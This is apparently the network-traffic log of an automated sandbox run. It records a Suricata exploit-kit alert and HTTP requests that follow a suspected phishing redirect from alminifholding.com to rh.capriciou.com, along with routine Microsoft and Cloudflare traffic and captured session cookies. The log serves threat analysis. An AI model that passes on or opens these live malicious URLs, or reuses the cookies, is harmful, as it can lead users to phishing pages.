Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:50156 -> 35.214.136.108:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f HTTP/1.1Host: alminifholding.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://alminifholding.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ZhZW/ HTTP/1.1Host: rh.capriciou.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://alminifholding.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rh.capriciou.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rh.capriciou.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rh.capriciou.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/ccb741a09fd3/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rh.capriciou.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/it6ud/0x4AAAAAAAaj0rear9JdQVOM/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rh.capriciou.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/ccb741a09fd3/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8def6751cf07e7a6&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/it6ud/0x4AAAAAAAaj0rear9JdQVOM/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/it6ud/0x4AAAAAAAaj0rear9JdQVOM/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: rh.capriciou.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rh.capriciou.com/ZhZW/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InZDZjZkazVpMHpEWUNBRXV3bHJoUEE9PSIsInZhbHVlIjoia04yY01VNDQxYWcyOGJIZFhJOEVYUExwVGRVMFpWS1hLbHBuTEtaSUlmUUtRQVJLVDdpMkFISDA0TkhyeTd1aHpmTXB6T3hXSWFCZGNSd2I0Tmdaa0gxM0tFSVp5Q3JBc1dQaUxURFFvNm5LYS9VcXRlOHV6QkZ4VFFkSS9XbzYiLCJtYWMiOiJiZTM5Yjk1ZjZlYjQxZTliYzA1OTcyODcxMDc4YmE1MWVkMmVkZWFiMTJiMWZjYThkMDkyM2M4MGMxOGQxZTQ3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjkyeDhENllUdGJVMStYa1lDWldUTEE9PSIsInZhbHVlIjoiOXg3YWhEa3RGQ084OHJMellUVHhsazN1OGxEeVo3Rnp2K25VNTJ1MHJhK3VMOHNSZ2dyOUhvbStXcHY1UEN1WEhNQ3dyZWtnTWppSk10bFN2QzAzcWV2TUN2c0xhQzJGcVJrZ1JMcHNFTWVYNXN6bnl4cEp4Ulo1YXN0N25lRGUiLCJtYWMiOiIwZjA2MmYwOGFkMDkzMjdiYTNiODlmNzAwMTViYjQ5ZDgwZWM0Y2M4ZDY2ZjM0YTRkYzUzNjVmNzJhNDcyMDQwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8def6751cf07e7a6&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1888641786:1730999922:sZMMjrljib3Ah-ZPRoL_Nqj62RI1QKUnYVwOIOxtiuY/8def6751cf07e7a6/jCrTDp5mH7IPQ.XokFVcaJ.lGZZNyttWPsGCaoPzCbc-1731004321-1.1.1.1-eC1A3ZZHnP397vfP33FmcEcmnsz8wNnC8jnQC8T8ln6lDiN3l1rddG_FCxdeVbFm HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8def6751cf07e7a6/1731004323942/0ce64218ebbd666850be87b0d35e84846275f1be6aca62966dbea5873bf6e595/yb75jCmKwd61suQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/it6ud/0x4AAAAAAAaj0rear9JdQVOM/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8def6751cf07e7a6/1731004323946/7Lbt5mZb6pYQGHR HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/it6ud/0x4AAAAAAAaj0rear9JdQVOM/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8def6751cf07e7a6/1731004323946/7Lbt5mZb6pYQGHR HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1888641786:1730999922:sZMMjrljib3Ah-ZPRoL_Nqj62RI1QKUnYVwOIOxtiuY/8def6751cf07e7a6/jCrTDp5mH7IPQ.XokFVcaJ.lGZZNyttWPsGCaoPzCbc-1731004321-1.1.1.1-eC1A3ZZHnP397vfP33FmcEcmnsz8wNnC8jnQC8T8ln6lDiN3l1rddG_FCxdeVbFm HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
